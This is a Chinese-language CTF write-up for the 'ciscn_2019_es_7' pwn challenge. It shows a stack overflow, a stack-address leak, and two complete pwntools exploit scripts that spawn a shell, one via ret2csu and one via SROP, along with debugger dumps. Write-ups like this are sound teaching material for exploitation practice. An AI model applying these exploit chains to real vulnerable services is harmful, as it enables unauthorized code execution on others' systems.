其实做过一次第一次wp,,,但是再做还是不太可,重新写一篇【两篇侧重点不一样】
题目流程
两个函数,read和write
输入和打印的是同一个地址,rsp+buf,buf的长度为0x10。
所以栈溢出的偏移为0x10,再下一个地址是rsp,ret的时候,pop eip会取过来。
程序给了两个后门函数
第一个是rax,设置0xf,可以进行srop
第二个设置为execve的调用号,设置参数为“/bin/sh”、0、0(必须设置,因为vuln函数中rdi,rsi和rdx都有值)即可get shell
漏洞利用
综上,有两种方法可以进行漏洞利用
- 利用gadget2,需要设置三个寄存器参数,可以通过ret2csu来设置
- 利用gadget1,srop来get shell
其次,程序还可以泄漏信息,在输入0x10处和0x20处都存在栈上的地址,布置“/bin/sh”在上面,泄漏栈地址,即计算得到binsh的地址。
为了程序正常返回继续利用,故泄漏0x20的地址。
1 2 3 4 5 6
| pwndbg> x/30gx 0x7fffffffdee0 0x7fffffffdee0: 0x6161616161616161 0x0000000000000a61#[rsp+buf] 0x7fffffffdef0: 0x00007fffffffdf10 0x0000000000400536 0x7fffffffdf00: 0x00007fffffffdff8 0x0000000100000000 0x7fffffffdf10: 0x0000000000400540 0x00007ffff7a03bf7 0x7fffffffdf20: 0x0000000000000001 0x00007fffffffdff8
|
1 2 3 4 5
| payload = 'a' * 0x10 + p64(back) p.sendline(payload) stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') binsh = stack - 0x118 log.success(hex(binsh))
|
1 2 3 4 5 6
| [DEBUG] Received 0x30 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ 00000010 ed 04 40 00 00 00 00 00 0a 05 40 00 00 00 00 00 │··@·│····│··@·│····│ 00000020 a8 43 ed d1 fe 7f 00 00 00 00 00 00 01 00 00 00 │·C··│····│····│····│ 00000030 [+] 0x7ffed1ed4290
|
1 2 3 4
| pwndbg> x/30gx 0x7ffed1ed4290 0x7ffed1ed4290: 0x6161616161616161 0x6161616161616161 0x7ffed1ed42a0: 0x00007ffed1ed42a0 0x000000000040050a 0x7ffed1ed42b0: 0x00007ffed1ed43a8 0x0000000100000000
|
ret2csu
因为需要设置3个参数,需要利用万能gadget,但是注意一点是,第一个参数只能设置低8位,但是binsh的地址有12位,所以第一个参数还需要通过pop rdi,单独设置。
布置“/bin/sh” => 地址通过上面已经泄漏
设置rax = 59
开始ret2cus
part1
rbx = 0,rbp = 1,跳出循环
call [],选择binsh+0x10的地址,也就是设置rax=59
设置3个参数,都为0即可
part2
‘a’×0x56=> 到达ret
设置第一个参数
syscall即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| payload = '/bin/sh\x00' * 2 payload += p64(mov_rax_59) payload += p64(part1) payload += p64(0) + p64(1) payload += p64(binsh+0x10) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(part2) payload += 'a'*56 payload += p64(pop_rdi) + p64(binsh) payload += p64(syscall) p.sendline(payload)
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * p = process("./ciscn_2019_es_7")
context.log_level = 'debug'
mov_rax_59 = 0x00004004E2 part1 = 0x0040059A part2 = 0x000400580 back = 0x04004ED pop_rdi = 0x00000000004005a3 syscall = 0x0000000000400501
payload = 'a' * 0x10 + p64(back) p.sendline(payload) stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') binsh = stack - 0x118 log.success(hex(binsh))
payload = '/bin/sh\x00' * 2 payload += p64(mov_rax_59) payload += p64(part1) payload += p64(0) + p64(1) payload += p64(binsh+0x10) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(part2) payload += 'a'*56 payload += p64(pop_rdi) + p64(binsh) payload += p64(syscall) p.sendline(payload) p.interactive()
|
srop
创建
1
| sigFrame = SigreturnFrame()
|
设置寄存器
- rax = execve调用号
- rdi = binsh地址
- rsi = 0
- rdx = 0
- rip = syscall
1 2 3 4 5
| sigFrame.rax = constants.SYS_execve sigFrame.rdi = binsh sigFrame.rsi = 0 sigFrame.rdx = 0 sigFrame.rip = syscall
|
发送
- 发送“/bin/sh\x00”两个
- gadget,这里会retn一下,让rsp下移
- 放上syscall,接着就放上str(sigFrame)【在rsp的下一个位置】
1 2
| payload = '/bin/sh\x00' * 2 payload += p64(pop_rax_15)+p64(syscall)+str(sigFrame)
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * p = process("./ciscn_2019_es_7")
context.log_level = 'debug' context.arch = 'amd64' mov_rax_59 = 0x00004004E2 part1 = 0x0040059A part2 = 0x000400580 back = 0x04004ED pop_rdi = 0x00000000004005a3 syscall = 0x0000000000400501
payload = 'a'*0x10 + p64(back) p.sendline(payload) stack = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') binsh = stack - 0x118 log.success(hex(binsh))
pop_rax_15 = 0x004004DA
sigFrame = SigreturnFrame() sigFrame.rax = constants.SYS_execve sigFrame.rdi = binsh sigFrame.rsi = 0 sigFrame.rdx = 0 sigFrame.rip = syscall payload = '/bin/sh\x00' * 2 payload += p64(pop_rax_15)+p64(syscall)+str(sigFrame) p.sendline(payload) p.interactive()
|
总结
本篇主要讲了些做题的点,思路更清晰了,,,,
- ret2csu比较好用了,这里特别注意execve使用的参数设置
- srop主要发送str(sigFrame)在rsp下面一个,题目read和write都是[rsp+buf]为srop提供了便利
下载
附件